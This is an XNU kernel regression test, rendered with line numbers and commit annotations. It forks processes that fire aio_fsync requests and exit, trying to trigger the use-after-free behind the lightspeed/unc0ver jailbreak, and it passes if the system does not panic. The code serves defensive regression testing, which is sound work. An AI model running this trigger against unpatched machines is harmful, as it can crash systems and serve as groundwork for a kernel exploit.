1*19c3b8c2SApple OSS Distributions /* 2*19c3b8c2SApple OSS Distributions * Proof of Concept / Test Case 3*19c3b8c2SApple OSS Distributions * XNU: aio_work_thread use-after-free for AIO_FSYNC entries 4*19c3b8c2SApple OSS Distributions */ 5*19c3b8c2SApple OSS Distributions #include <err.h> 6*19c3b8c2SApple OSS Distributions #include <stdarg.h> 7*19c3b8c2SApple OSS Distributions #include <stdint.h> 8*19c3b8c2SApple OSS Distributions #include <stdio.h> 9*19c3b8c2SApple OSS Distributions #include <stdlib.h> 10*19c3b8c2SApple OSS Distributions #include <string.h> 11*19c3b8c2SApple OSS Distributions #include <strings.h> 12*19c3b8c2SApple OSS Distributions 13*19c3b8c2SApple OSS Distributions #include <sys/aio.h> 14*19c3b8c2SApple OSS Distributions #include <unistd.h> 15*19c3b8c2SApple OSS Distributions #include <darwintest.h> 16*19c3b8c2SApple OSS Distributions #include <time.h> 17*19c3b8c2SApple OSS Distributions 18*19c3b8c2SApple OSS Distributions T_GLOBAL_META( 19*19c3b8c2SApple OSS Distributions T_META_NAMESPACE("xnu.fd"), 20*19c3b8c2SApple OSS Distributions T_META_RUN_CONCURRENTLY(true)); 21*19c3b8c2SApple OSS Distributions 22*19c3b8c2SApple OSS Distributions #define NREQUESTS 8 23*19c3b8c2SApple OSS Distributions 24*19c3b8c2SApple OSS Distributions static void attempt(int fd)25*19c3b8c2SApple OSS Distributionsattempt(int fd) 26*19c3b8c2SApple OSS Distributions { 27*19c3b8c2SApple OSS Distributions struct aiocb ap[NREQUESTS]; 28*19c3b8c2SApple OSS Distributions size_t n; 29*19c3b8c2SApple OSS Distributions unsigned char c; 30*19c3b8c2SApple OSS Distributions 31*19c3b8c2SApple OSS Distributions for (n = 0; n < NREQUESTS; ++n) { 32*19c3b8c2SApple OSS Distributions ap[n].aio_fildes = fd; 33*19c3b8c2SApple OSS Distributions ap[n].aio_nbytes = 1; 34*19c3b8c2SApple OSS Distributions ap[n].aio_buf = &c; 35*19c3b8c2SApple OSS Distributions ap[n].aio_sigevent.sigev_notify = SIGEV_NONE; 36*19c3b8c2SApple OSS Distributions } 37*19c3b8c2SApple OSS Distributions 38*19c3b8c2SApple OSS Distributions /* 39*19c3b8c2SApple OSS Distributions * fire them off and exit. 40*19c3b8c2SApple OSS Distributions */ 41*19c3b8c2SApple OSS Distributions for (n = 0; n < NREQUESTS; ++n) { 42*19c3b8c2SApple OSS Distributions aio_fsync((n & 1) ? O_SYNC : O_DSYNC, &ap[n]); 43*19c3b8c2SApple OSS Distributions } 44*19c3b8c2SApple OSS Distributions 45*19c3b8c2SApple OSS Distributions exit(0); 46*19c3b8c2SApple OSS Distributions } 47*19c3b8c2SApple OSS Distributions 48*19c3b8c2SApple OSS Distributions T_DECL(lio_listio_race_63669270, "test for the lightspeed/unc0ver UaF") 49*19c3b8c2SApple OSS Distributions { 50*19c3b8c2SApple OSS Distributions pid_t child; 51*19c3b8c2SApple OSS Distributions int fd; 52*19c3b8c2SApple OSS Distributions char path[128]; 53*19c3b8c2SApple OSS Distributions uint64_t end = clock_gettime_nsec_np(CLOCK_UPTIME_RAW) + 10 * NSEC_PER_SEC; 54*19c3b8c2SApple OSS Distributions 55*19c3b8c2SApple OSS Distributions /* we need a valid fd: */ 56*19c3b8c2SApple OSS Distributions strcpy(path, "/tmp/aio_fsync_uaf.XXXXXX"); 57*19c3b8c2SApple OSS Distributions T_EXPECT_POSIX_SUCCESS(fd = mkstemp(path), "mkstemp"); 58*19c3b8c2SApple OSS Distributions T_EXPECT_POSIX_SUCCESS(unlink(path), "unlink"); 59*19c3b8c2SApple OSS Distributions 60*19c3b8c2SApple OSS Distributions T_LOG("starting..."); 61*19c3b8c2SApple OSS Distributions do { 62*19c3b8c2SApple OSS Distributions switch ((child = fork())) { 63*19c3b8c2SApple OSS Distributions case -1: T_FAIL("fork"); 64*19c3b8c2SApple OSS Distributions case 0: attempt(fd); 65*19c3b8c2SApple OSS Distributions } 66*19c3b8c2SApple OSS Distributions 67*19c3b8c2SApple OSS Distributions T_QUIET; T_EXPECT_POSIX_SUCCESS(waitpid(child, NULL, 0), "waitpid"); 68*19c3b8c2SApple OSS Distributions } while (clock_gettime_nsec_np(CLOCK_UPTIME_RAW) < end); 69*19c3b8c2SApple OSS Distributions 70*19c3b8c2SApple OSS Distributions T_PASS("the system didn't panic"); 71*19c3b8c2SApple OSS Distributions } 72